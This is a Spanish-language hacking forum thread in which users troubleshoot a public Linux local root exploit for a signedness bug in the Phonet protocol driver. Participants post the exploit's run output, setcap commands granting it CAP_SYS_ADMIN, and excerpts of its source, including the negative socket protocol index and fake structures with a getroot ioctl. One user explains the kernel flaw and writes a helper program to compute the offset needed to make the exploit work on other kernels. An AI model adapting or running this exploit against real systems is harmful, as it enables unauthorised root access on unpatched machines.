Autor
|
Tema: [Videotuto] Exploit local linux 32 y 64 bits (Leído 19,687 veces)
|
Garfield07
Desconectado
Mensajes: 1.121
¡Este año voy a por todas! JMJ 2011
|
Sagrini como te dijeron, el exploit lo armas en tu PC con acceso a ROOT y lo ejecutas en una maquina donde no tenga acceso a root.
yo tengo instalado libcap pero no libcap2, y es necesario que en la maquina que se ejecute tenga instalado libcap2 ????
Yo pensaba que sí es necesario... Por eso lo decía xD De todos modos, primero hay que saber acceder xD y aún estoy peleado con el serv de pruebas que me he hecho... Suerte!
|
|
|
En línea
|
* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
M3st4ng
Desconectado
Mensajes: 58
|
Hola!!! Estaba probando este exploit y a mi no me ha funcionado: [*] Testing Phonet support and CAP_SYS_ADMIN... [*] Resolving kernel symbols... [+] Resolved proto_tab to 0xf8133fa8 [+] Resolved pn_proto to 0xf8133e00 [+] Resolved pn_proto to 0xf8133e00 [+] Resolved commit_creds to 0xc016eb60 [+] Resolved prepare_kernel_cred to 0xc016efc0 [*] Preparing fake structures... [*] Copying Structures. [*] Underflowing with offset -70 [*] Underflow failed :-(.
He estado intentando entender cómo funciona y qué es lo que hace y no me queda del todo claro. Entiendo que te copias en memoria una serie de estructuras con las funciones mmap y memcpy. Pero a partir de aqui ya me pierdo proto = -((proto_tab - low_kern_sym) / sizeof(void *));
printf("[*] Underflowing with offset %d\n", proto);
sock = socket(PF_PHONET, SOCK_DGRAM, proto); if(sock < 0) { printf("[*] Underflow failed :-(.\n"); return -1; } De hecho a mi lo que me falla es la creación del socket, ¿por qué se le pasa como protocolo (proto) un -70 (proto = -((proto_tab - low_kern_sym) / sizeof(void *)) al socket? Gracias de antemano
|
|
|
En línea
|
|
|
|
Ivanchuk
Desconectado
Mensajes: 469
LLVM
|
bash-4.1# setcap cap_sys_admin+ep exploit bash-4.1# exit exit bash-4.1$ ./exploit [*] Testing Phonet support and CAP_SYS_ADMIN... [*] Resolving kernel symbols... [*] Failed to resolve kernel symbols.
No me funciono, no encontro CAP_SYS_ADMIN Capaz q ya lo solucionaste, pero no te funcionaba porq no tenes el kernel compilado para debug, con todos los simbolos. Te podes fijar a mano si tenes al menos el primer simbolo definido: cat /proc/kallsyms | grep proto_tab Hola!!! Estaba probando este exploit y a mi no me ha funcionado: [*] Testing Phonet support and CAP_SYS_ADMIN... [*] Resolving kernel symbols... [+] Resolved proto_tab to 0xf8133fa8 [+] Resolved pn_proto to 0xf8133e00 [+] Resolved pn_proto to 0xf8133e00 [+] Resolved commit_creds to 0xc016eb60 [+] Resolved prepare_kernel_cred to 0xc016efc0 [*] Preparing fake structures... [*] Copying Structures. [*] Underflowing with offset -70 [*] Underflow failed :-(.
He estado intentando entender cómo funciona y qué es lo que hace y no me queda del todo claro. Entiendo que te copias en memoria una serie de estructuras con las funciones mmap y memcpy. Pero a partir de aqui ya me pierdo proto = -((proto_tab - low_kern_sym) / sizeof(void *));
printf("[*] Underflowing with offset %d\n", proto);
sock = socket(PF_PHONET, SOCK_DGRAM, proto); if(sock < 0) { printf("[*] Underflow failed :-(.\n"); return -1; } De hecho a mi lo que me falla es la creación del socket, ¿por qué se le pasa como protocolo (proto) un -70 (proto = -((proto_tab - low_kern_sym) / sizeof(void *)) al socket? Gracias de antemano Te falla porq capaz q no es vulnerable el driver. El error lo explica maso por arriba Dan Rosenberg en su exploit: /* This exploit leverages a signedness error in the Phonet protocol. By * specifying a negative protocol index, I can craft a series of fake * structures in userspace and cause the incrementing of an arbitrary kernel * address, which I then leverage to execute arbitrary kernel code. */ Eso, el error esta en el driver del protocolo de red phonet. Parece ser que cuando se le pasa un valor negativo a socket() se pueden sobreescribir ciertas estructuras en el driver. Entre ellas, la q define el manejador de las ioctl. const struct proto_ops_skel fake_proto_ops2 = { .family = AF_PHONET, .ioctl = &getroot, }; Igual Rosenberg la pinta como q es mucho mas complicado, asi q calculo que el error debe tener su historia.
|
|
|
En línea
|
|
|
|
Ivanchuk
Desconectado
Mensajes: 469
LLVM
|
Para los que les interese sigo spammeando xD. Clonee el source del kernel y encontre el error en net/phonet/af_phonet.c:40 static struct phonet_protocol *phonet_proto_get(int protocol) { if (protocol >= PHONET_NPROTO) return NULL; ... pp = rcu_dereference(proto_tab[protocol]); ... return pp; } En el if se puede ver el error de signo. Aprovecha proto_tab[protocol] para apuntar a las estructuras en espacio de usuario! Se las rebuscan re bien...
|
|
|
En línea
|
|
|
|
M3st4ng
Desconectado
Mensajes: 58
|
Hola!! En mis fuentes esta igual, pero a mi no me funciona (ya postee anteriormente). Dejo aqui el codigo de mi source: static struct phonet_protocol *phonet_proto_get(int protocol) { struct phonet_protocol *pp;
if (protocol >= PHONET_NPROTO) return NULL;
rcu_read_lock(); pp = rcu_dereference(proto_tab[protocol]); if (pp && !try_module_get(pp->prot->owner)) pp = NULL; rcu_read_unlock();
return pp; }
|
|
|
En línea
|
|
|
|
Ivanchuk
Desconectado
Mensajes: 469
LLVM
|
mmh, estuve viendo y no llego a nada concreto, proto = -((proto_tab - low_kern_sym) / sizeof(void *));
Pasado en limpio: proto = -((proto_tab - (pn_proto + SYM_OFFSET)) / sizeof(void *));
Da la impresion que trata de referenciar la estructura pn_dgram_proto (net/phonet/datagram.c:200) que esta justo despues de pn_proto. Con proto_tab - (pn_proto +SYM_OFFSET) llevas el puntero proto_tab[] 70 lugares mas arriba (direcciones bajas) justo despues de pn_proto para apuntar a pn_dgram_proto que es una estructura de tipo phonet_protocol, o sea que en teoria deberia pasar todas las verificaciones correctamente. Si esa es la idea entonces lo que puede pasar es que tu SYM_OFFSET no se corresponda con tu driver. El valor que le tenes que meter es el tamaño de pn_proto (include/net/sock.h:726). Igual no estoy seguro porque si quisiese agarrar un puntero a pn_dgram_proto ya lo habria sacado desde /proc/kallsyms directamente evitandose la macro SYM_OFFSET. Por eso sigo confundido, todavia no se como hace para que se referencien las estructuras falsas a partir de la dir SYM_ADDRESS. Porque por lo que pude entender es esa la idea, las estructuras son las mismas que las variables phonet_dgram_ops (net/phonet/socket.c:461) y pn_dgram_proto (net/phonet/datagram.c:200). Y encima estan bien armadas para pasar las verificaciones (try_module(), sock_type, etc) agarrando un puntero a pn_proto y falsificando el otro puntero para cambiar la ioctl: const struct proto_ops_skel fake_proto_ops2 = { .family = AF_PHONET, .ioctl = &getroot, }; struct phonet_protocol_skel pps = { .ops = (void *) &fake_proto_ops2, .prot = (void *) pn_proto, .sock_type = SOCK_DGRAM, };
Seguire viendo a ver si llego a algo...
|
|
« Última modificación: 2 Marzo 2011, 19:43 pm por Ivanchuk »
|
En línea
|
|
|
|
Ivanchuk
Desconectado
Mensajes: 469
LLVM
|
Se me acaba de ocurrir que sea posible que justo al offset pn_proto + SYM_OFFSET exista el valor SYM_ADDRESS y de esa manera referenciar las estructuras falsas! De hecho ahi me fije y mirando bien encontre algo interesante: SYM_ADDRESS = 0x4e4f4850 pasandolo a ascii (sisi a ascii!) ===> "NOHP" ... "PHON" en little endian Y mirando pn_proto static struct proto pn_proto = { .close = pn_sock_close, [...] .name = "PHONET", // aca esta lo que busca con SYM_OFFSET! };
Mirando la estructura proto: struct proto { void (*close)(struct sock *sk, long timeout); [...] #ifdef CONFIG_COMPAT int (*compat_setsockopt)(struct sock *sk, int level, int optname, char __user *optval, unsigned int optlen); [...] #endif [...] #ifdef CONFIG_PROC_FS unsigned int inuse_idx; #endif struct module *owner; char name[32]; [...] };
Si cuando se compilo tu kernel esas macros que se ven estaban activadas habria que contar la cantidad de bytes que tenes hasta name y ponerle ese valor a SYM_OFFSET. Sinceramente muy bueno lo de Joe Sylve usando el string "PHONET" para referenciar sus estructuras. Comparado al exploit de Rosenberg, le cago a cachetadas , le tiro una onda "Rose, dejame a mi que vos no tenes ni idea" jaja.
|
|
« Última modificación: 2 Marzo 2011, 20:31 pm por Ivanchuk »
|
En línea
|
|
|
|
Ivanchuk
Desconectado
Mensajes: 469
LLVM
|
M3st4ng, Capaz que no me explique muy bien. Para resumir el valor que necesitas ponerle a SYM_OFFSET lo podes sacar asi: #include <iostream> using namespace std; #define CONFIG_COMPAT 1 #define CONFIG_PROC_FS 1 struct proto { void *ptrs_1[10]; #ifdef CONFIG_COMPAT void *ptrs_2[3]; #endif void *ptrs_3[10]; #ifdef CONFIG_PROC_FS unsigned int inuse_idx; #endif void *ptrs_4[7]; int max_header; bool no_autobind; void *ptrs_5; unsigned int obj_size; int slab_flags; void *ptrs_6[5]; // char name[32]; }; int main() { cout << "#define SYM_OFFSET 0x" << hex << sizeof(struct proto) << endl; }
Compilalo con g++, ejecutalo y proba con el valor que te tire. Los punteros que le agregue los conte de la estructura proto que tengo definida en include/net/sock.h:726, te la pego aca para que la puedas comparar con la tuya. struct proto { void (*close)(struct sock *sk, long timeout); int (*connect)(struct sock *sk, struct sockaddr *uaddr, int addr_len); int (*disconnect)(struct sock *sk, int flags); struct sock * (*accept) (struct sock *sk, int flags, int *err); int (*ioctl)(struct sock *sk, int cmd, unsigned long arg); int (*init)(struct sock *sk); void (*destroy)(struct sock *sk); void (*shutdown)(struct sock *sk, int how); int (*setsockopt)(struct sock *sk, int level, int optname, char __user *optval, unsigned int optlen); int (*getsockopt)(struct sock *sk, int level, int optname, char __user *optval, int __user *option); #ifdef CONFIG_COMPAT int (*compat_setsockopt)(struct sock *sk, int level, int optname, char __user *optval, unsigned int optlen); int (*compat_getsockopt)(struct sock *sk, int level, int optname, char __user *optval, int __user *option); int (*compat_ioctl)(struct sock *sk, unsigned int cmd, unsigned long arg); #endif int (*sendmsg)(struct kiocb *iocb, struct sock *sk, struct msghdr *msg, size_t len); int (*recvmsg)(struct kiocb *iocb, struct sock *sk, struct msghdr *msg, size_t len, int noblock, int flags, int *addr_len); int (*sendpage)(struct sock *sk, struct page *page, int offset, size_t size, int flags); int (*bind)(struct sock *sk, struct sockaddr *uaddr, int addr_len); int (*backlog_rcv) (struct sock *sk, struct sk_buff *skb); /* Keeping track of sk's, looking them up, and port selection methods. */ void (*hash)(struct sock *sk); void (*unhash)(struct sock *sk); void (*rehash)(struct sock *sk); int (*get_port)(struct sock *sk, unsigned short snum); void (*clear_sk)(struct sock *sk, int size); /* Keeping track of sockets in use */ #ifdef CONFIG_PROC_FS unsigned int inuse_idx; #endif /* Memory pressure */ void (*enter_memory_pressure)(struct sock *sk); atomic_long_t *memory_allocated; /* Current allocated memory. */ struct percpu_counter *sockets_allocated; /* Current number of sockets. */ /* * Pressure flag: try to collapse. * Technical note: it is used by multiple contexts non atomically. * All the __sk_mem_schedule() is of this nature: accounting * is strict, actions are advisory and have some latency. */ int *memory_pressure; long *sysctl_mem; int *sysctl_wmem; int *sysctl_rmem; int max_header; bool no_autobind; struct kmem_cache *slab; unsigned int obj_size; int slab_flags; struct percpu_counter *orphan_count; struct request_sock_ops *rsk_prot; struct timewait_sock_ops *twsk_prot; union { struct inet_hashinfo *hashinfo; struct udp_table *udp_table; struct raw_hashinfo *raw_hash; } h; struct module *owner; // 41 ptrs until here char name[32]; struct list_head node; // include/linux/types.h 2 ptrs #ifdef SOCK_REFCNT_DEBUG atomic_t socks; // include/linux/types.h 1 int #endif };
Proba y avisanos como te fue!
|
|
|
En línea
|
|
|
|
M3st4ng
Desconectado
Mensajes: 58
|
Hola Ivanchuk!!! Gracias por toda la info que estás posteando. Bueno primero te comento la prueba: He compilado el código que me has pasado y he hecho la prueba... ha fracado... Ahora bien, estoy aún intentando entender lo que dices... perdona mi ignorancia pero me he perdido un pelín (para eso estoy aprendiendo). proto_tab - (pn_proto +SYM_OFFSET) llevas el puntero proto_tab[] 70 lugares mas arriba (direcciones bajas) justo despues de pn_proto para apuntar a pn_dgram_proto que es una estructura de tipo phonet_protocol, o sea que en teoria deberia pasar todas las verificaciones correctamente. Me imagino que esto que comentas lo estarás mirando en el /proc/kallsyms no¿? Perdona si no te contesto con rapidez, casi no tengo tiempo para mirar el foro y hemos para probar. Muchas gracias
|
|
|
En línea
|
|
|
|
andres_5
Desconectado
Mensajes: 200
|
[*] Testing Phonet support and CAP_SYS_ADMIN... [*] Resolving kernel symbols... [+] Resolved proto_tab to 0xe255a1e8 [+] Resolved pn_proto to 0xe255a040 [+] Resolved pn_proto to 0xe255a040 [+] Resolved commit_creds to 0xc016dd80 [+] Resolved prepare_kernel_cred to 0xc016e0c0 [*] Preparing fake structures... [*] Copying Structures. [*] Underflowing with offset -70 Killed
=( , que habra pasado ? Me pasa lo mismo, he estado probando y me sale esto: andres@andres-desktop:~/Escritorio$ gcc -w exploit.c -o exploit andres@andres-desktop:~/Escritorio$ setcap cap_sys_admin+ep exploit unable to set CAP_SETFCAP effective capability: Operation not permitted andres@andres-desktop:~/Escritorio$ setcap cap_sys_admin+ep exploit unable to set CAP_SETFCAP effective capability: Operation not permitted andres@andres-desktop:~/Escritorio$ sudo setcap cap_sys_admin+ep exploit [sudo] password for andres: andres@andres-desktop:~/Escritorio$ setcap cap_sys_admin+ep exploit unable to set CAP_SETFCAP effective capability: Operation not permitted andres@andres-desktop:~/Escritorio$ sudo -s root@andres-desktop:~/Escritorio# setcap cap_sys_admin+ep exploit root@andres-desktop:~/Escritorio# exit exit andres@andres-desktop:~/Escritorio$ ./exploit [*] Testing Phonet support and CAP_SYS_ADMIN... [*] Resolving kernel symbols... [+] Resolved proto_tab to 0xf81291e8 [+] Resolved pn_proto to 0xf8129040 [+] Resolved pn_proto to 0xf8129040 [+] Resolved commit_creds to 0xc016e080 [+] Resolved prepare_kernel_cred to 0xc016e3c0 [*] Preparing fake structures... [*] Copying Structures. [*] Underflowing with offset -70 Terminado (killed)
nose si sere vulnerable, pero estoy en ubuntu 10.04 y llevo sin actualizarlo 1 o 2 meses. Saludos
|
|
|
En línea
|
|
|
|
|
|